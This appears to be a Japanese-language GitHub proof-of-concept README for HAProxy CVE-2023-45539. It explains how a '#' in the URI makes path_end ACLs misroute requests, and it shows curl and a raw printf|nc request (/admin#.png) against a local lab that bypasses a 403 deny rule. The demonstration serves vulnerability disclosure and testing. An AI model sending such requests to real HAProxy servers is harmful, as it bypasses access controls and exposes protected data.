slicingmelon/haproxy-cve-2023-45539-pocHAProxy-CVE-2023-45539-PoC
HAProxy 2.8.2 より前のバージョンでは、URI コンポーネントの一部として # を受け入れるため、path_end ルールの誤解釈により、リモートの攻撃者が機密情報を取得したり、その他の未指定の影響を及ぼしたりする可能性があります（例: index.html#.png を静的サーバーにルーティングする）。
この CVE で誤ルーティングされるのは、バックエンドアプリが「サポート」する拡張子ではなく、HAProxy 自体が path_end（または regex）ACL を使用してルーティングするように設定されている拡張子だけです。
acl is_static path_end .png .jpg .gif .css .js
use_backend be_static if is_static
つまり、次のことを意味します：
HAProxy は、バックエンドが実際に .png、.js などを提供できるかどうかは気にしません。
リクエストパスのサフィックス一致のみを確認します。
サフィックスがこれらの文字列のいずれかに一致する場合、be_static にルーティングします。
したがって：
/admin#.png → .png に一致 → be_static にルーティング → バイパス
/admin#.asc → 一致しない → be_app に留まる → deny に該当 → 403
curl -i http://localhost:6655/public
HTTP/1.1 200 OK
content-length: 7
content-type: text/plain
APP OK
curl -i http://localhost:6655/admin
HTTP/1.1 403 Forbidden
content-length: 93
cache-control: no-cache
content-type: text/html
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>
printf 'GET /admin#.png HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc -q1 127.0.0.1 6655
HTTP/1.1 200 OK
content-length: 31
content-type: text/plain
STATIC OK (routed by path_end)